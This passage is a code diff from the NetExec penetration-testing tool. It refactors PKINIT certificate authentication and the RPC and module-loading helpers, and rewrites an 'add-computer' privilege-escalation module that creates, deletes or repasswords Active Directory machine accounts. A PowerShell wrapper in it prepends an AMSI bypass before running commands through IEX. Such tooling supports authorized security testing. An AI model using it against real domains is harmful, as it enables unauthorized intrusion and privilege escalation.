pkinit.privkey = load_private_key(pkinit.privkeyinfo)
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -117,9 +143,18 @@ class myPKINIT(PKINIT):
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -129,8 +164,8 @@ class myPKINIT(PKINIT):
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
@@ -237,7 +272,7 @@ class myPKINIT(PKINIT):
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
@@ -478,23 +513,34 @@ def pfx_auth(self):
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
return False
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
+1 -1
View File
@@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
if force_ps32:
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
+101
View File
@@ -0,0 +1,101 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
+39 -8
View File
@@ -4,14 +4,19 @@ import traceback
import sys
from os import listdir
from os.path import dirname
from os.path import basename, dirname
from os.path import join as path_join
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -30,23 +35,49 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
@@ -56,7 +87,6 @@ class ModuleLoader:
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -74,7 +104,8 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -83,8 +114,7 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module_spec = self.load_module_file(module_path).NXCModule
module = {
f"{module_spec.name}": {
@@ -92,6 +122,7 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"category": module_spec.category,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+11 -1
View File
@@ -101,7 +101,12 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
"""Format msg for output
@@ -175,7 +180,12 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x") # noqa: SIM115
try:
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
+2
View File
@@ -1,6 +1,7 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+238 -263
View File
@@ -1,300 +1,275 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
Refactored to use impacket LDAP CRUD operations instead of ldap3.
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
DELETE Set to delete the computer account.
CHANGEPW Set to change an existing computer's password.
Usage (same syntax for ldap):
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
self.delete = "DELETE" in module_options
self.change_pw = False
if "DELETE" in module_options:
self.__delete = True
if "CHANGEPW" in module_options:
if "NAME" not in module_options or "PASSWORD" not in module_options:
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
sys.exit(1)
self.change_pw = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
if "NAME" not in module_options:
context.log.error("NAME option is required!")
sys.exit(1)
self.computer_name = module_options["NAME"]
if not self.computer_name.endswith("$"):
self.computer_name += "$"
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
self.computer_password = module_options["PASSWORD"]
elif not self.delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
self.context = context
self.connection = connection
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
if connection.args.protocol == "smb":
self._do_samr()
elif connection.args.protocol == "ldap":
self._do_ldap()
# First try to add via SAMR over SMB
self.do_samr_add(context)
def _db_remove_credential(self):
try:
db = self.context.db
domain = self.connection.domain
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
db.remove_credentials([row[0] for row in rows])
except Exception as e:
self.context.log.debug(f"Could not remove credentials from DB: {e}")
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def _db_add_credential(self):
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
def _do_samr(self):
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
Args:
----
context (object): The context object.
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
def _samr_execute(self, dce, target_name):
domain = self.connection.domain
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
if len(non_builtin) > 1:
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
if len(matched) != 1:
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
return
selected = matched[0]["Name"]
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
selected = non_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
try:
if self.delete or self.change_pw:
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
else:
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
if user_handle is None:
return
if self.delete:
samr.hSamrDeleteUser(dce, user_handle)
user_handle = None
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
self._db_remove_credential()
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
if self.change_pw:
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
else:
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
self._db_add_credential()
finally:
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
samr.hSamrCloseHandle(dce, domain_handle)
samr.hSamrCloseHandle(dce, serv_handle)
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
samr.hSamrCloseHandle(dce, user_handle)
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, new_handle, req)
return new_handle
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
else:
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_ACCESS_DENIED" in str(e):
action = "delete" if self.delete else "change password for"
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
else:
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
return None
def _samr_create(self, dce, domain_handle, username):
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
return None
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
request = samr.SamrCreateUser2InDomain()
request["DomainHandle"] = domain_handle
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{username} does not have the right to create a computer account")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"{username} exceeded the machine account quota")
else:
self.context.log.fail(f"Error creating computer: {e}")
return None
def _do_ldap(self):
name = self.computer_name.rstrip("$")
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
if self.delete:
self._ldap_delete(self.connection.ldap_connection, computer_dn)
elif self.change_pw:
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
else:
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
def _ldap_delete(self, ldap_conn, dn):
try:
ldap_conn.delete(dn)
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
self._db_remove_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
def _ldap_change_password(self, ldap_conn, dn):
try:
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
self._db_add_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
